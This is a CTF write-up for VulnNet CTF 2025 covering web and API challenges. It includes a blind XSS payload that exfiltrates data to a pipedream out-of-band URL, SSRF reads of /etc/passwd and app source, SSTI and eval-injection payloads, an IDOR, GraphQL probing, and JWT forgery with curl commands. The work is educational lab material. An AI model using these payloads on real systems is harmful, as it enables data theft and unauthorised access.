Every Exploit in VulnNet CTF 2025 (Full Walkthrough)

 9 min read

Cover for Every Exploit in VulnNet CTF 2025 (Full Walkthrough)

Info

Warm up

Points: 10

join our Discord server to get the flag: https://discord.gg/KwzXbEmA

Looking at the description of the #ctf-discussions channel, we see there is weird text.

++++++++++[>+++++++>+++++++>++++++++>++++++++>+++++++++>+++++++>+++++++>++++++++++++>++++++++++++>+++++++>+++++++++++>+++++++>+++++++++++>++++++++>++++++++++>++++++++++>+++++++>+++++++++++>+++++++>++++++++++>++++++++++>+++++++++>+++++>++++++++++++>++++++++++>+++++>+++++++++++>+++++++>++++++++++>+++++++>+++++>+++++++++++>+++++++>+++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]>++.>--.>++.>-.>-----.>+.>-.>+++.>-.>-.>--.>---.>+.>---.>+.>-----.>+.>--.>-----.>.>-----.>-.>--.>---.>-----.>++.>++++.>-.>-----.>++.>+.>++++.>-.>-----.

This is known as BrainF*ck. We can decode this by going to the dcode website and retrieve the flag.

Flag: HDROUGE{wElCoMe_GlAd_Y0u_4rE_H3rE}

Looking for something?

Points: 20

One of our team member kept something public, you can check it out on our Instagram Page: https://www.instagram.com/hackersdaddy/

Looking at the Instagram, we can click on the first post and observe the flag in the post description.

Flag: HDROUGE{InStA_G3t_ThE_Fl4g_HeRe}


Web

APP1 - Flag 1

Points: 50

Seems like there’s no vulnerability, sometime our activity also can be a vulnerability can you confirm? https://ctfapp1.vulnnet.com/

Looking at the application, we can see there are a few buttons and navigation bar.

Looking at the footer, there is a Newsletter subscribe button.

Turn on Burp Suite proxy and submit the Newsletter form. Looking at the /subscribe endpoint, we can see there is a flag.

Flag: HDROUGE{Act1ve_Inf0_4nd_Vuln3r4b1l1ty}

APP1 - Flag 2

Points: 50

i was in a dark place i don’t have any identity can you find me? https://ctfapp1.vulnnet.com/

Looking through the application, there was a /send_email endpoint which is part of the Contact form, this was a rabbit hole. The true trick was looking and enumerating the application.

During the CTF, I started to bruteforce the directories, and one that appeared was /secret/.

While that is the flag, you’ll need to modify the flag to be HDROGUE{}. However, after speaking with the organizer, this wasn’t supposed to be accessible to the user. The actual method was to do recursive enumeration on the directories until you find the final hidden directory which will retrieve the flag.

/vbscripts/updates-topic/typolight/cardinalauth

Flag: HDROUGE{3num3r4t10n_1s_k3y}

Glassx1

Points: 50

Can you uncover me? https://glassx.vulnnet.com/

Looking at the application, we see there is a registration page.

After registering the user, we can log in and see it’s an XSS arena.

We know that we need to perform an XSS on this application, however, we need to figure out where the flag is first. Looking at robots.txt, we retrieve the first flag.

Flag: HDROGUE{0b5cur3d_1n_r0b0ts}

Glassx2

Points: 200

Your team has intercepted a mysterious service running under the codename GlassX. It exposes a minimal web portal, but behind its sleek “glassmorphic” UI hides a fragile backend. https://glassx.vulnnet.com/

Going back to the challenge, we know that there is a /flag endpoint. However, we need to administrator on the backend to execute the payload so we can retrieve the flag. This is known as a Blind XSS attack.

Using the below script, we can input it into the Write something... section of the Post form.

<script>
fetch('/flag')
.then(r => r.text())
.then(flag => {
new Image().src = 'https://<OOB URL>/?flag=' + encodeURIComponent(flag);
});
</script>

In the video of this challenge, I walk through how you can do this with InteractSH.

POST /post HTTP/1.1
Host: glassx.vulnnet.com
Cookie: session=eyJpc19hZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoidGVzdGluZyJ9.aNhmyA.PW4htRj89Sr5Gl8vgY8KSUJ-XfA
Content-Length: 1079
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://glassx.vulnnet.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://glassx.vulnnet.com/post
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

title=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&emoji=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&mood=%3Cscript%3E+fetch%28%27%2Fflag%27%29+++.then%28r+%3D%3E+r.text%28%29%29+++.then%28flag+%3D%3E+%7B+++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B++++%7D%29%3B+%3C%2Fscript%3E&body=%3Cscript%3E%0D%0Afetch%28%27%2Fflag%27%29%0D%0A++.then%28r+%3D%3E+r.text%28%29%29%0D%0A++.then%28flag+%3D%3E+%7B%0D%0A++++new+Image%28%29.src+%3D+%27https%3A%2F%2Feosf5rko2cxo5tk.m.pipedream.net%2F%3Fflag%3D%27+%2B+encodeURIComponent%28flag%29%3B+%0D%0A++%7D%29%3B%0D%0A%3C%2Fscript%3E

After waiting a few seconds, we can see in our Out-of-Band URL, that we retrieved the flag after the administrator viewed the post.

Flag: HDROGUE{cl34r_gl4ss_bl1nd3d_m3}

SkyFrame

SkyFrame runs an internal “developer fetch” endpoint used for debugging. It accepts a URL and returns what the server sees: http://54.169.182.220:8000/

Looking at the application, there’s isn’t a whole lot going on. There’s one button, but that button sends you back to the / directory.

Looking at the page source, we can see there is a /static/app.js. This looks to be custom, so clicking on it reveals a hint from the developer.

// public/static/app.js
// SkyFrame client-side script
// ------------------------------------------------------------------
// HINT FOR CTF PLAYERS (this file is intentionally obvious):
//
// the navbar will reveal a hidden "Whoami" menu option that leads to more clues.
//
//
// Also check the page source of the Whoami page for the hidden endpoint.
// ------------------------------------------------------------------

console.log("Welcome to SkyFrame — check app.js file for a developer hint.");

This hint tells us that there’s a hidden whoami page on the application. Navigating to the /whoami endpoint, it reveals another hint.

Inspecting the page source, we see there is a hidden endpoint called sUp3r_S3cRet.

This page reveals an “Internal Fetch Tool” for developers only. Seeing the terms, fetch and url, we have a good chance at Server-Side Request Forgery (SSRF).

Submitting the file:///etc/passwd payload, reveals we do have an SSRF vulnerability.

Since the application is being hosted at 54.169.182.220:8000, we can assume the internal service is being run on port 8000. Using the payload http://127.0.0.1:8000/flag.txt, we can reveal the flag.

POST /sUp3r_S3cRet HTTP/1.1
Host: 54.169.182.220:8000
Content-Length: 44
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://54.169.182.220:8000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://54.169.182.220:8000/sUp3r_S3cRet
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

url=http%3A%2F%2F127.0.0.1%3A8000%2Fflag.txt

Flag: HDROUGE{SkyFrAmE_SeRvErSiDe_ReQ}

Rogue Portal

Points: 250

The portal seems secure, but every fortress has its weaknesses. Find the red door and claim what’s hidden behind it: https://rougeportal.vulnnet.com/

Looking at the Rogue Portal website, we can see that there is one input field having to do with commands.

Supplying some dummy data like id, we see that the input reflects back.

Trying a few payloads, we see that one of them ${IFS} reveals an error message.

With this error message, we know that it is a Python backend and it is trying to find a defined variable. A variable that I always try when it comes to reflective Python web applications is globals(). After supplying that to the application, we retrieve the flag. I believe this is an unintended way, since this could fall under Eval Injection. However, you can also perform Server-Side Template Injection (SSTI) to get this working.

Flag: HDROUGE{r3m0t3_3x3cuti0n_d0minat3d}

API

Service Hustle

Points: 300

Welcome to Service Hustle a bustling two-sided marketplace where customers post jobs and providers compete for work. The platform looks polished, but something is off. Beneath the surface of bids, jobs, and dashboards lies a vulnerability that could unravel the trust holding it all together.

Your access is limited… for now. Somewhere in this system, secrets are hidden and only by probing the application’s flows will you uncover the key to progress: https://service-hustle.vulnnet.com/

The application is a job posting and bidding website which requires the user to register and login in.

After creating an account and logging in, the user has the ability to place a bid on a job of their choosing. For this example, we selected (electrical) Knowledge catch.

Inputting a number and in the message supplying it with a Server-Side Template Injection (SSTI) such as {{7*7}}, we see that it returns 49, indicating that it’s an SSTI vulnerability.

With this, we can supply it, {{config.items()}} which will retrieve all the configuration variables used on the application. After submitting the request, we can obtain the flag.

Flag: HDROUGE{SSTI_T0ken_H1jack2Flag_42af9d}

Shadows of the Nation

Points: 200

You have been authorized access to the system. But is it really yours? Look deeper. Identity overlaps in surprising ways: https://rouge-nation.vulnnet.com/

Looking at the application, we see there is a login page. Registering and logging in, we see there’s not a ton of information besides showing favorites of the user.

Looking at the page source, we see that there’s an API call to the /api/user/<ID>/favourites endpoint.

function loadFavourites() {
    fetch('/api/user/89/favourites')
        .then(res => res.json())
        .then(data => {
	        let out = "<ul>";
            data.forEach(item => out += `<li>${item}</li>`);
            out += "</ul>";
            document.getElementById("favlist").innerHTML = out;
    });
}

We can play with the API endpoint and try to access /api/user/<ID>. In this case. When we do that, we retrieve information about other users.

curl "https://rouge-nation.vulnnet.com/api/user/89"  -H "Cookie: session=eyJ1c2VyX2lkIjo4OX0.aN6nWw.HmXddAYOh42q6YAe777AqFtL_Vc"

{
  "bio": "mre",
  "id": 89,
  "role": "user"
}

With this, we can try to access the administrator, which would most likely be the first (1) identifier.

curl "https://rouge-nation.vulnnet.com/api/user/1"  -H "Cookie: session=eyJ1c2VyX2lkIjo4OX0.aN6nWw.HmXddAYOh42q6YAe777AqFtL_Vc"

{
  "bio": "CTF administrator and movie buff. HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}",
  "id": 1,
  "role": "admin"
}

Flag: HDROUGE{4a525a0ec67f77ac14a1b8ab49adfe69}

The Nexus

Points: 300

Welcome to VulnNet’s internal portal. A series of interconnected APIs lie behind various sections like shopping, travel, and… something darker. Your access is limited. Find your way in. Something important is hidden buried beneath layers of structured data. https://graphql.vulnnet.com/

Looking at the application, we can see that there is a login page. Logging into the application, there are numerous options. However, one of them is titled “Hacking”, and looking at the display, it says there is a /graphql endpoint.

Sending a GET request to this endpoint results in a 405 METHOD NOT ALLOWED error message.

curl "https://graphql.vulnnet.com/graphql"  -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"

<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Modify the request to be POST, and setting the Content-Type header to application/json. In the JSON of the request, we will through the GraphQL Introspection query at the server and see if we can retrieve the schema.

curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"query IntrospectionQuery {__schema {queryType { name kind }mutationType { name kind }subscriptionType { name kind }types {...FullType}directives {namedescriptionlocationsargs {...InputValue}}}}fragment FullType on __Type {kindnamedescriptionfields(includeDeprecated: true) {namedescriptionargs {...InputValue}type {...TypeRef}isDeprecateddeprecationReason}inputFields {...InputValue}interfaces {...TypeRef}enumValues(includeDeprecated: true) {namedescriptionisDeprecateddeprecationReason}possibleTypes {...TypeRef}}fragment InputValue on __InputValue {namedescriptiontype { ...TypeRef }defaultValue}fragment TypeRef on __Type {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindnameofType {kindname}}}}}}}}}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"

{
  "error": "Introspection not allowed for non-admins"
}

The Introspection has been disabled. Doing CTFs for a while, you get accustom to some of the trickery that developers put into these challenges. Assuming since we had to log into the application to see the products on the web application, we could try users as a query and see what happens.

curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"{users{id}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0" 

{
  "users": [
    {
      "id": 1
    },
    {
      "id": 2
    },
    {
      "id": 3
    },
    {
      "id": 4
    },
    {
      "id": 5
    }
  ]
}

We see that there are 5 user’s on the application, and since we are looking for the flag, we can try to replace id with flag.

curl "https://graphql.vulnnet.com/graphql" -X POST -g --data '{"query":"{users{flag}}"}' -H "Content-Type: application/json" -H "Cookie: session=eyJyb2xlIjoidXNlciIsInVzZXJuYW1lIjoibXJlIn0.aN60mg.lm6k7W8g7-ZlHu_kgaes-DSh3q0"

{
  "users": [
    {
      "flag": "HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}"
    },
    {
      "flag": null
    },
    {
      "flag": null
    },
    {
      "flag": null
    },
    {
      "flag": null
    }
  ]
}

Flag: HDROUGE{1ntr0sp3ct10n_r3v34ls_4ll}

The Token

Points: 250

The portal uses tokens to identify who you are but are they trustworthy? A slight shift in what you present might take you beyond your current reach. What you hold may not be what it seems: https://jwt.vulnnet.com/

Once again, there is a login page onto this application. Looking at it, we can see that there’s information about our user and nothing else.

Looking at the page source, we see a hint which has the following values.

KeyValue
id2
roleadmin
exp9999999999
SECRETsuperweakjwtsecret

When logging into the application, it generated a JSON Web Token (JWT). This JWT has three properties: Header, Payload, Signature. The header tells you what algorithm is being used on the JWT. The payload is the data that is held within the JWT, mostly for authorization and authentication purposes (this section could leak sensitive information as well). Lastly, the signature is the secret that signs the JWT. However, if the user has access to the secret, they can generate their own JWT. Using a tool called JWT Auditor, we can modify our original JWT with the administrator JWT.

Original JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NDMsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzU5NDMxOTkzfQ.AKBi3V_a8MGkrCD3rwczEL4ZsgcgFnGLeS_OC7h1r9w

{
  "id": 43,
  "role": "user",
  "exp": 1759431993
}
Modified JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ
 
{
  "id": 2,
  "role": "admin",
  "exp": 9999999999
}

Using the newly generated JWT, we can modify the token cookie on the application and send a request to the /api/user.

curl "https://jwt.vulnnet.com/api/user" -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ"

{
  "bio": "CTF administrator and movie buff.",
  "id": 2,
  "role": "admin",
  "username": "admin2"
}

However, we can see that there is no flag in the response. We can try to identify where the flag is by trying different endpoints that could be on the server such as /api/user/2, /api/users, /api/2.

After some attempts, we identify the flag located in /api/2.

curl "https://jwt.vulnnet.com/api/2" -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.sNchVGd_B54r4LwU18TPCBMExPAea2mgyXdLpf4B-gQ"

{
  "flag": "HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}"
}

Flag: HDROUGE{JWT_TOKEN_R0TATE_P0WN3D}

CineVault

Points: 400

Welcome to CineVault a sleek movie ticketing site where posters shine, seats sell out, and everything looks perfectly normal. You’re a regular customer: browse showtimes, sign in or register, pick a seat, and manage your bookings. That’s the surface nothing else is promised. If you poke around, you might find the application doesn’t behave quite the way it seems: https://cinevault.vulnnet.com/

Looking at the application, there is a register page and once logging in, the user can buy movie tickets.

This challenge held me up for quite sometime because I thought there was a potential SQL injection in the /buy endpoint. However, after numerous attempts, it didn’t work. Looking at the Profile section of the application, we can see two input fields: Avatar URL and Bio.

Something seemed off with this input form. Why does the placeholder say https://... or media proxy url. This could be a hint to look at something having to do with a media proxy.

Using gobuster, or any directory bruteforcing tool, you can recursively identify /media/proxy.

The application wants us to supply a url parameter, which could mean SSRF. Trying a basic SSRF payload, we can confirm this is the path we need to take.

Looking through a few files, we can try /proc/self/cmdline which shows us the file name that we need to look for.

Most CTF challenges host the python webserver in /app/app.py. When trying that, we can obtain the flag.

Flag: HDROUGE{CineVault_L3ak_SuP3r_S3ss10N_t0K3n_ByP455_eXpLO1T_M4ST3R_FL4G_2025}